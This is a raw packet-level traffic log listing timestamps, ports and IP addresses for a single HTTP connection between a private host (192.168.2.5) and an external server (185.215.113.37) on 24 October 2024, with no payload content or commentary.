Oct 24, 2024 02:50:23.557888985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.557898045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.557905912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.557919025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.557920933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.557933092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.557939053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.557946920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.557954073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.557966948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.557970047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.557977915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.557985067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.557997942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558001995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558007956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558017969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558027029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558032990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558044910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558049917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558059931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558065891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558080912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558084011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558084011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558096886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558109999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558111906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558119059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558128119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558139086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558144093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558159113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558161020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558172941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558175087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558192015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558201075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558207035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558223009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558228016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558238029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558247089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558254004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558269024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558280945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558284044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558300018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558314085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558315992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558330059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558330059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558346987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558357954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558361053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558382034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558389902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558398008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.558403969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558432102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.558440924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.591900110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.591954947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.591965914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.591999054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.592010021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.592044115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.592046976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.592083931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.592089891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.592113018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.592125893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.592154980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.661998987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662045002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662076950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662105083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662156105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662168980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662168980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662168980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662168980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662190914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662208080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662224054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662239075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662257910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662276030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662286043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662318945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662353039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662383080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662434101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662461996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662501097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662501097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662501097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662501097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662501097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662501097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662520885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662570953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662600040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662611961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662650108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662662983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662688971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662692070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662719011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662731886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662751913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662765980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662786007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662813902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662828922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662846088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662858963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662880898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662890911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662915945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662923098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662950039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662961006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.662982941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.662993908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663018942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663027048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663052082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663085938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663100004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663119078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663127899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663153887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663161993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663196087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663199902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663233995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663242102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663278103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663285017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663327932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663356066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663388968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663403034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663430929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663439989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663472891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663485050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663513899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663547993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663593054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663600922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663645029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663652897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663687944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663697958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663732052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663746119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663786888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663794994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663831949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663837910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663865089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663872957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663899899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663907051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663938999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.663953066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.663995981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664005995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664051056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664056063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664089918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664098978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664124012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664133072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664172888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664174080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664222002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664222956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664257050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664263964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664290905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664305925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664324999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664345980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664357901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664385080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664392948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664396048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664426088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664438009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664459944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664468050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664495945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664520979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664530039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664535999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664565086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664577961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664599895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664627075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664627075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664639950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664659977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664694071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664705992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664726973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664738894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664761066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664766073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664793968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664803028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664828062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664838076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664864063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664872885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664897919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664907932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664927959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664941072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664961100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.664971113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.664997101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665003061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665030003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665040016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665064096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665074110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665097952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665106058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665138006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665148020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665179968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665191889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665220976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665230036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665258884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665273905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665299892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665311098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665354013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665363073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665407896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665412903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665457964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665465117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665505886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665517092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665560007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665568113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665610075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665616989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665652037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665661097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665685892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665697098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665729046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665736914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665770054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665781975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665812969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665821075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665863991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665872097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665918112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665925026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.665968895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.665977001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666011095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666044950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666057110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666079044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666089058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666121960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666130066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666163921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666172981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666208029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666214943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666265965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666311026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666316032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666349888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666363001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666383982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666423082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666433096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666476011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666482925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666526079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666532993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666567087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666574955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666600943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666625023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666639090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666650057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666685104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666699886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666727066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666733980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666783094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666826010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666832924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666876078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666882992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666913033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666945934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.666950941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666971922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.666980028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667025089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667028904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667062044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667074919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667095900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667145967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667146921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667177916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667185068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667212009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667221069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667243958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667253017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667279959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667284966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667327881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667330980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667371988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:23.667371988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:23.667407036 CEST	80	49704	185.215.113.37	192.168.2.5
